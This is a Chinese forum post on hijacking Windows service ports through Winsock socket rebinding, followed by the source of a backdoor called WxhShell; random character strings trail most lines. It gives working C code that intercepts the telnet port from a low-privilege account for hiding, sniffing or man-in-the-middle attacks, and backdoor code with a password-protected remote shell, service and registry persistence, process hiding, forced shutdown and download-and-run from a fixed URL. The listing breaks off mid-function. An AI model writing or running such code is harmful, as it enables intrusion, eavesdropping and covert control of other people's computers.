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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9D<HJ(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B8&@Qc@~  
~!;3W!@(E  
  saddr.sin_family = AF_INET; zk]~cG5dT/  
WIghP5%W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &td#m"wI  
OTm`i>rB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B/71$i   
"f3>20}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ef!F;De)A  
)\(pDn$W  
  这意味着什么?意味着可以进行如下的攻击: oW_WW$+N  
K+\hv~+@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ke0W?  
cMg /T.O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tu'MYY  
vEsSqzc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bo2Od  
4Bn+L,}.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;p9D2&  
b$`O|S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @o ED tN  
S%oGBY*Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F\I^d]#,[  
3Z0\I\E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Pz 'Hqvd  
<G >PPf}  
  #include wOOPWwk  
  #include 4Z] 35*  
  #include gm DC,"Y<  
  #include    rx/6x(3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s<b7/;w'  
  int main() oB9m\o7$  
  { Q)>'fZ)  
  WORD wVersionRequested; GLyh1qNX  
  DWORD ret; TE~@Bl;{?c  
  WSADATA wsaData; sYpogFfV  
  BOOL val; YC'~8\x3z  
  SOCKADDR_IN saddr; #F@7>hd1  
  SOCKADDR_IN scaddr; OT i3T1&  
  int err; _u$K Lqt/,  
  SOCKET s; I>a a'em  
  SOCKET sc; _=5ZB_I  
  int caddsize; (#]KjpIK  
  HANDLE mt; j&.BbcE45  
  DWORD tid;   <Tf;p8#  
  wVersionRequested = MAKEWORD( 2, 2 ); sLIP |i  
  err = WSAStartup( wVersionRequested, &wsaData ); LS'=>s"  
  if ( err != 0 ) { s 'x mv{|  
  printf("error!WSAStartup failed!\n"); E6M: ^p*<  
  return -1; Kf#!IY][  
  }  t;Om9  
  saddr.sin_family = AF_INET; <J-Z;r(gQN  
   CN(4;-so)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MFuI&u!g:  
VWt'Kx"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vq1&8=  
  saddr.sin_port = htons(23); uszSFe]E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i5Q<~;Z+  
  { J_ |x^  
  printf("error!socket failed!\n"); o[hP&9>q  
  return -1; )7g_v*  
  } <t% A)L%  
  val = TRUE; 0!`7kZrN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <|3v@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XWpnZFjE  
  { GK?R76d  
  printf("error!setsockopt failed!\n"); 4&hqeY3  
  return -1; j9'XZq}  
  } IQe[ CcM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L]N2r MM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ml?)Sc"\7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gecT*^  
NP'Ke:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?^ezEpW  
  { ^jjJM|a  
  ret=GetLastError(); IA#*T`  
  printf("error!bind failed!\n"); `)M\(_  
  return -1; <<5 :zlb  
  } 8:?Q(M7  
  listen(s,2); I7z/GA\x  
  while(1) ugCS &  
  { $1zeY6O  
  caddsize = sizeof(scaddr); -u9yR"n\}  
  //接受连接请求 tW"ptU^9)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m:f ouMS  
  if(sc!=INVALID_SOCKET) wU)5Evp[  
  { [=ak>>8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1 lCikS^c  
  if(mt==NULL) I= h4s(  
  { ^}/ E~Sg7\  
  printf("Thread Creat Failed!\n"); ro^6:w3O^  
  break; _7.GzQJ  
  } 6(^Upk=59  
  } ^Z4q1i)JO  
  CloseHandle(mt); uj9tr`Zh  
  } pebx#}]p-  
  closesocket(s); l9NOzAH3  
  WSACleanup();  ]RX tC*  
  return 0; ) ~)SCN>-  
  }   /z)3gsF  
  DWORD WINAPI ClientThread(LPVOID lpParam) t#pqXY/;D  
  { pG F5aF7T  
  SOCKET ss = (SOCKET)lpParam; fJ&<iD)6  
  SOCKET sc; r5!x,{E6  
  unsigned char buf[4096]; :O'C:n<g  
  SOCKADDR_IN saddr; 9p\Hx#^  
  long num; Pm#x?1rAj  
  DWORD val; nze1]3`  
  DWORD ret; N{ V5 D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o~o6S=4,}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n:*_uc^C  
  saddr.sin_family = AF_INET; XAU_SPAjiw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uVq5fT`B  
  saddr.sin_port = htons(23); 6a%:zgkOpu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [Zt# c C+  
  {  [ }p  
  printf("error!socket failed!\n"); "ji$@b_\?  
  return -1; 0/SC  
  } 9QOr,~~s  
  val = 100; ;h,R?mU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uP(B<NfL:'  
  { z{`6#  
  ret = GetLastError(); qu<B%v  
  return -1; L_Y9+ e  
  } x5fgF;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dXhCyr%"6  
  { ZTh?^}/  
  ret = GetLastError(); "GwWu-GS  
  return -1; 5 Q6{(q|M  
  } ?#BZ `H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Dm|gSv8d,  
  { dysX  
  printf("error!socket connect failed!\n"); S_T{L  
  closesocket(sc); VMxYZkMNd_  
  closesocket(ss); C(F1VS  
  return -1; 4Q$j]U&b  
  } -GDV[Bg  
  while(1) .8T\Nr\~2  
  { k_*XJ<S!Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^i{,z*vi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k Zk .]b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }.fL$,7a  
  num = recv(ss,buf,4096,0); NK+FQ^m[  
  if(num>0) E1c>nrnh*  
  send(sc,buf,num,0);  &7L~PZ  
  else if(num==0) FasI'Ulk  
  break; F-$Z,Q]S  
  num = recv(sc,buf,4096,0); Po Yr:=S?  
  if(num>0) vQ:x% =]  
  send(ss,buf,num,0); #joF{ M{  
  else if(num==0) gq H`GI  
  break; tv 4s12&  
  } I$aXnd6)  
  closesocket(ss); 5h|'DO x|o  
  closesocket(sc); ~8jThi U  
  return 0 ; /Qr A8  
  } Rz`@N`U  
J*}VV9H  
MS{Hz,I,  
========================================================== ,]f),;=  
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下边附上一个代码,,WXhSHELL pZu?V"R  
.>k=A|3G  
========================================================== fkW3~b  
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#include "stdafx.h" i%xI9BO9  
@ L\-ZWq  
#include <stdio.h> &@=u+)^-{  
#include <string.h> l!\1,J:}Z  
#include <windows.h> uPFRh~ (b  
#include <winsock2.h> K1;z Mh  
#include <winsvc.h> UE"7   
#include <urlmon.h> U!x0,sr  
5_v5  
#pragma comment (lib, "Ws2_32.lib") :[ L{KFQU  
#pragma comment (lib, "urlmon.lib") Mg#`t$ u  
{V.Wk  
#define MAX_USER   100 // 最大客户端连接数 D=2~37CzQ1  
#define BUF_SOCK   200 // sock buffer \.5F](:  
#define KEY_BUFF   255 // 输入 buffer YQN.Ohtv*F  
y^9bfMA  
#define REBOOT     0   // 重启 R'Sa?6xS4  
#define SHUTDOWN   1   // 关机 |B 9t-  
37#cx)p^f  
#define DEF_PORT   5000 // 监听端口 [C~fBf5  
Xc{ZN1 4n  
#define REG_LEN     16   // 注册表键长度 bdCykG-  
#define SVC_LEN     80   // NT服务名长度  Kr S  
 "";=DH  
// 从dll定义API WmNA5;<Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Umij!=GPG^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b,9@P&=:2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :RHm*vt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TFo}\B7  
B4@fY  
// wxhshell配置信息 v3 -5"q!Sq  
struct WSCFG { Is ot4HLM  
  int ws_port;         // 监听端口 2_ wv C  
  char ws_passstr[REG_LEN]; // 口令 _wmI(+_  
  int ws_autoins;       // 安装标记, 1=yes 0=no emA.{cVr!  
  char ws_regname[REG_LEN]; // 注册表键名 36nyu_h:R  
  char ws_svcname[REG_LEN]; // 服务名 ,}KwP*:Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ea 2 `q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -'j7SOGk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v_.HGG S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Oc#>QZ3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GtC7^ Z&E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v G2.]?  
]Y{,Nx  
}; pziq0  
7 I@";d8~  
// default Wxhshell configuration ^,`M0g\$  
struct WSCFG wscfg={DEF_PORT, q~j)W$k  
    "xuhuanlingzhe", b;*c:{W)  
    1, 0Q`&inwh  
    "Wxhshell", Z&-tMai;  
    "Wxhshell", G0Hs,B@5?  
            "WxhShell Service", sCkO0dl8  
    "Wrsky Windows CmdShell Service", "oe!M'aj`1  
    "Please Input Your Password: ", bJwc1AJgH  
  1, Y[@0qc3UO  
  "http://www.wrsky.com/wxhshell.exe", Q(e{~ ]*  
  "Wxhshell.exe" s%O Y<B@V2  
    }; -x{&an=  
t0.;nv@A0  
// 消息定义模块 l#$TYJi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (-(QDRxK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4gb'7'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "Vy WT  
char *msg_ws_ext="\n\rExit."; Im+ 7<3Z  
char *msg_ws_end="\n\rQuit."; X8Fzs!L`  
char *msg_ws_boot="\n\rReboot..."; ^KbL ,T  
char *msg_ws_poff="\n\rShutdown..."; :3O5ET'1  
char *msg_ws_down="\n\rSave to "; #ua^{OrC/  
K"w%n[u)  
char *msg_ws_err="\n\rErr!"; @$c!/  
char *msg_ws_ok="\n\rOK!"; 03_pwB)^  
+`Pmq} ey  
char ExeFile[MAX_PATH]; Ha)np  
int nUser = 0; +>}o;`hPe  
HANDLE handles[MAX_USER]; |IN[uQ  
int OsIsNt; AG>\aV"b  
? |VysJ  
SERVICE_STATUS       serviceStatus; ZLrHZhP-+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ISBF\ wQY  
;MPKJS68@  
// 函数声明 ]2$x| #Gg}  
int Install(void); #c:kCZt#  
int Uninstall(void); 8wmQ4){  
int DownloadFile(char *sURL, SOCKET wsh); 5\'AD^{  
int Boot(int flag); esI'"hVJ  
void HideProc(void); J@Yj\9U  
int GetOsVer(void); M1{(OY(G  
int Wxhshell(SOCKET wsl); c\K<sM{  
void TalkWithClient(void *cs); ShGp^xVj  
int CmdShell(SOCKET sock); $3\,h; y  
int StartFromService(void); Y0RgJn  
int StartWxhshell(LPSTR lpCmdLine); VB"(9O]  
K<RqBecB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u"Y]P*[k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [K:29N9~4  
t!qwxX*$T  
// 数据结构和表定义 QBihpA 1;  
SERVICE_TABLE_ENTRY DispatchTable[] = vRr9%zx  
{ !\x?R6K  
{wscfg.ws_svcname, NTServiceMain}, m&/=&S  
{NULL, NULL} i}lRIXjdV  
};  }_%P6  
#jP/k.  
// 自我安装 ,YB1 y)x  
int Install(void) 5[R?iSGL1  
{ u)~s4tP4  
  char svExeFile[MAX_PATH]; bE I!Ja  
  HKEY key; 39D }  
  strcpy(svExeFile,ExeFile); 3U;1D2"AE  
%5Rq1$D  
// 如果是win9x系统,修改注册表设为自启动 :Q- F9o J  
if(!OsIsNt) { W[|[;{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F,pCR7o>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <|H ?gfM  
  RegCloseKey(key); OKPJuV`y6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [{cC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &J(!8y*QyE  
  RegCloseKey(key); =bL{i&&  
  return 0; KyLp?!|>  
    } ug&92Hdvy3  
  } 8R4qU!M  
} oD0EOT/E  
else { [h HG .  
j-32S!  
// 如果是NT以上系统,安装为系统服务 @a(oB.i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VGZ6  
if (schSCManager!=0) Ub)M*Cq0(o  
{ bU+9Gi@v  
  SC_HANDLE schService = CreateService #T"64%dX  
  ( fS I%c3  
  schSCManager, h8.FX-0& =  
  wscfg.ws_svcname, fl)zQcA  
  wscfg.ws_svcdisp, 9h&yuS'Yj  
  SERVICE_ALL_ACCESS, A.U'Q|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rPO}6lsc  
  SERVICE_AUTO_START, x'i0KF   
  SERVICE_ERROR_NORMAL, 7I3:u+  
  svExeFile,  ?Ib}  
  NULL, \h#9oPy  
  NULL, kzi|$Gs<  
  NULL, o4~kX  
  NULL, ]l&'k23~p  
  NULL j^ I!6j=ZX  
  ); ? s4oDi|:  
  if (schService!=0) FL&dv  
  { !*bdG(pK  
  CloseServiceHandle(schService); `M]BhW)  
  CloseServiceHandle(schSCManager); Efr3x{ j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  MYx88y  
  strcat(svExeFile,wscfg.ws_svcname); tN!Bvj:C[M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OG}KqG!n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @_Sp3nWdu  
  RegCloseKey(key); 4(|yD;  
  return 0; (&c,twa~  
    } {(0Id!  
  } m1y `v"  
  CloseServiceHandle(schSCManager); 3'^S3W%  
} FfSI n3  
} ]bu9-X&T&  
UN(3i(d  
return 1; PW)8aLU  
} 8_ X.c  
DaCblX  
// 自我卸载 +.K*n&  
int Uninstall(void) 1tyNRoET  
{ ;-Ado8  
  HKEY key; %ET # z!  
c_DaNEfaY  
if(!OsIsNt) { //tT8HX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9C=~1>S  
  RegDeleteValue(key,wscfg.ws_regname); QA,*:qx  
  RegCloseKey(key); P eHW[\)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AoU_;B\b%  
  RegDeleteValue(key,wscfg.ws_regname); J@gm@ jLc  
  RegCloseKey(key); jm+ blB^%K  
  return 0; Q[jI=$Q)  
  } TH>,v  
} ?(>k,[n  
} X&.:H~xS+  
else { GI?PGAT  
6N?#b66  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zF?31\GOX  
if (schSCManager!=0) |zh +  
{ (H P z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +\srZ<67  
  if (schService!=0) yYM_lobn  
  { \Vz,wy%-  
  if(DeleteService(schService)!=0) { nPcxknl(pd  
  CloseServiceHandle(schService); ^glX1 )  
  CloseServiceHandle(schSCManager); ovB=Zm  
  return 0; }'v{dK  
  } t@6w$5:}  
  CloseServiceHandle(schService); B#QL M^  
  } k?< i*;7  
  CloseServiceHandle(schSCManager); o>.AdZby  
} p%tE v  
} We\KDU\n  
40R"^*  
return 1; 28ja-1dB  
} }M^_Z#|,  
z1kBNOr  
// 从指定url下载文件 )sRN!~  
int DownloadFile(char *sURL, SOCKET wsh) uW ) \,  
{ U7jhV,gO4  
  HRESULT hr; ]F !'M  
char seps[]= "/"; q)NXyy4BT  
char *token; E1#H{)G  
char *file; Wa(W&]  
char myURL[MAX_PATH]; MST:.x ;  
char myFILE[MAX_PATH]; vz- 9<w;>a  
tp7oc_s?.  
strcpy(myURL,sURL); 1X[ 73  
  token=strtok(myURL,seps); zMbfV%b  
  while(token!=NULL) JvKO $^  
  { TFNUv<>X  
    file=token; +d.u##$  
  token=strtok(NULL,seps); MgHOj   
  } bh{E&1sLh  
G}182"#4  
GetCurrentDirectory(MAX_PATH,myFILE); #c6ui0E%;t  
strcat(myFILE, "\\"); "(Mvl1^BT  
strcat(myFILE, file); 7We?P,A\;  
  send(wsh,myFILE,strlen(myFILE),0); yZ?xt'tn  
send(wsh,"...",3,0); Cq-hPa}2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #E*@/ p/  
  if(hr==S_OK) >?^~s(t  
return 0; >Kz_My9  
else !>CE(;E>z  
return 1; s.f`.o  
xt? 3_?1  
} ue,#, 3{m  
5T~3$kuO  
// 系统电源模块 7bctx_W&6  
int Boot(int flag) Su$18a"Bc  
{ }9{dR4hD  
  HANDLE hToken; OG0r4^6Ly  
  TOKEN_PRIVILEGES tkp; lF0K=L  
qlz( W  
  if(OsIsNt) { NYWG#4D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $Sp*)A]E`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l0qdk #v  
    tkp.PrivilegeCount = 1; 5x:Ift *  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }v_p gatC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zkf 3t>[  
if(flag==REBOOT) { D+bB G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4JX`>a{<  
  return 0; #JK;& Dg!  
}  !7 ei1  
else { Mfnlue](  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yw;ghP;  
  return 0; ^n\9AE3  
} Q%M'[L?[  
  } 08<k'Oi]  
  else { $sA,$x:^xI  
if(flag==REBOOT) { Qv9*p('~A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bYwI==3  
  return 0; .`oJcJ  
} /#S4espE  
else { LydbP17K}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .V5q$5j  
  return 0; :FX'[7;p  
} ,pQ'w7  
} 3a'Rs{qxn  
:z izca4  
return 1; fhBO~o+K>  
}  ltCwns  
ua]\xBWx  
// win9x进程隐藏模块 \Dvl%:8   
void HideProc(void) /3CHE8nSh  
{ jMm_A#V>p  
-XS+Uv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e3yorQ][  
  if ( hKernel != NULL ) e.)yV'%L  
  { q7 %=`l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T..N*6<X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RZ#alFL,  
    FreeLibrary(hKernel); #}[Sj-Vp  
  } >,w\lf9  
dXA{+<!!  
return; _ 6+,R  
} F]K$u <U  
%5Q7#xU  
// 获取操作系统版本 &y#\1K  
int GetOsVer(void) (uuEjM$3%  
{ OCbQB5k3  
  OSVERSIONINFO winfo; TnvHO_P,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IEno.i\  
  GetVersionEx(&winfo); ^F0k2pB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x*loACee.  
  return 1; 2 Ft0C2  
  else ( )JYN5  
  return 0; 6SW|H"!!  
} _g^K$+F'}  
_H^^2#wc/  
// 客户端句柄模块 G<">/_jn  
int Wxhshell(SOCKET wsl) CO:m]oj  
{ I&'S2=s  
  SOCKET wsh; q_9N+-?{7  
  struct sockaddr_in client; >0g `U  
  DWORD myID; W G3mQ\k  
wRV`v$*6  
  while(nUser<MAX_USER) *'s2 K  
{ #whO2Mv  
  int nSize=sizeof(client); i h`y0(<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gNEzlx8A  
  if(wsh==INVALID_SOCKET) return 1; 3I U$  
K*HVn2OV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y:i[~y  
if(handles[nUser]==0) a!^-~pH:  
  closesocket(wsh); EvH(Po h  
else .=b +O~  
  nUser++; ~Me&cT8  
  }  eo<~1w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *FLTz(T  
Y bn=Gy  
  return 0; 72 s$  
} K;ry4/Vap  
9sO{1rF  
// 关闭 socket I).^,%>Z)  
void CloseIt(SOCKET wsh) =B o4yN  
{ p@NEr,GB  
closesocket(wsh); W(PW9J9  
nUser--; ^Lg{2hjj  
ExitThread(0); 93Ci$#<y  
} 3$kv%uf{  
VtPoc(o4]  
// 客户端请求句柄 !g8.8(/t)  
void TalkWithClient(void *cs)  1+i  
{ d~z<,_ r5c  
(PT?h>|St  
  SOCKET wsh=(SOCKET)cs; rY_C3;B  
  char pwd[SVC_LEN]; a,0o{* (u$  
  char cmd[KEY_BUFF]; 8w@W8(3B  
char chr[1]; +DV6oh  
int i,j; cnUU1Uz>  
g9lg  
  while (nUser < MAX_USER) { KbuGf$Bv  
#35S7G^@`  
if(wscfg.ws_passstr) { <GFB'`L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7i|hlk;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Ozf}}#  
  //ZeroMemory(pwd,KEY_BUFF); u2.r,<rC*Q  
      i=0; aab4c^Ms=  
  while(i<SVC_LEN) { OAnn`*5Up  
%},S#5L3  
  // 设置超时  ?Ge*~d  
  fd_set FdRead; 0R^(rE"2#  
  struct timeval TimeOut; /qQ2@k  
  FD_ZERO(&FdRead); MPEBinE?  
  FD_SET(wsh,&FdRead); 3v3Va~fm`  
  TimeOut.tv_sec=8; +uGP(ONY  
  TimeOut.tv_usec=0; nTtt$I@hW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vhe Ah`u^&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b%~3+c  
VflPNzixb!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .STf  
  pwd=chr[0]; N,+g/o\f  
  if(chr[0]==0xd || chr[0]==0xa) { ^fiRRFr[  
  pwd=0; E#V-F-@2  
  break; <.%8j\j(  
  } I EsD=  
  i++; p YvF}8  
    } U &k 3  
o?hw2-mH  
  // 如果是非法用户,关闭 socket V^5k> `A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /Ta0}Y(y  
} EsxTBg  
7ofH@U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t:@A)ip  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8;BwzRtgT  
Uo)<_nG  
while(1) { nPX'E`ut-V  
^p%+rB.j[  
  ZeroMemory(cmd,KEY_BUFF); zyn =Xv@p  
^ J@i7FOb  
      // 自动支持客户端 telnet标准   H9m2Whq  
  j=0; X10TZ  
  while(j<KEY_BUFF) { xfQ;5n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {"AYOc>2|  
  cmd[j]=chr[0]; %z_b/yG  
  if(chr[0]==0xa || chr[0]==0xd) { bN %MT#X  
  cmd[j]=0;  p.Yg-CA  
  break; f5XcBW9E  
  } BqAwo  
  j++; bGnJ4R3J  
    } qGUe0(  
=U|SK"oO  
  // 下载文件 BrmFwXLP"  
  if(strstr(cmd,"http://")) { WZ-{K"56  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z+Zh;Ms  
  if(DownloadFile(cmd,wsh)) 5]ob;tAm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aV#;o9H{  
  else hpKc_|un  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q*o4zW  
  } ttt&sW`  
  else { 9:5NX3"p  
mw.aavB  
    switch(cmd[0]) { *M5C*}dl  
  0 1w/,r  
  // 帮助 Cagq0-:(p  
  case '?': { jH/%Z5iu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r{;4(3E2  
    break; @&> +`kgU-  
  } zOp"n\  
  // 安装 5mBk[{  
  case 'i': { @isqFKjph  
    if(Install()) 1 .k}gl0<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GoXHVUyp  
    else Stx-(Kfn4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l,8| E  
    break; ovVU%2o1b  
    } Jrl xa3 [  
  // 卸载 ,PAKPX9v_F  
  case 'r': { Lj\<qF~n  
    if(Uninstall()) 4K% YS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IC42O_^  
    else HX[#tT|m~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 81g0oVv  
    break; {)xrg sB  
    } 4QDzG~N4)|  
  // 显示 wxhshell 所在路径 .!! yj,bQz  
  case 'p': { nV1, ):kh  
    char svExeFile[MAX_PATH]; Su^Z{ Ud`  
    strcpy(svExeFile,"\n\r"); i[ lH@fJm_  
      strcat(svExeFile,ExeFile); RUO6Co-  
        send(wsh,svExeFile,strlen(svExeFile),0); -ybupUJcbv  
    break; YN3uhd[2  
    } F!'"mU<f  
  // 重启 ==9Ez  
  case 'b': { Pd?YS!+S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b1"wQM9  
    if(Boot(REBOOT)) g;1 UZE;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C2T,1=  
    else { !LA#c'  
    closesocket(wsh); mbK$Wp#  
    ExitThread(0); "~ 6B C  
    } [;bLlS,  
    break; _4w%U[GT,  
    } c@P,  
  // 关机 A_+ WY|#M  
  case 'd': { hB4.tMgZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;DOz92X94  
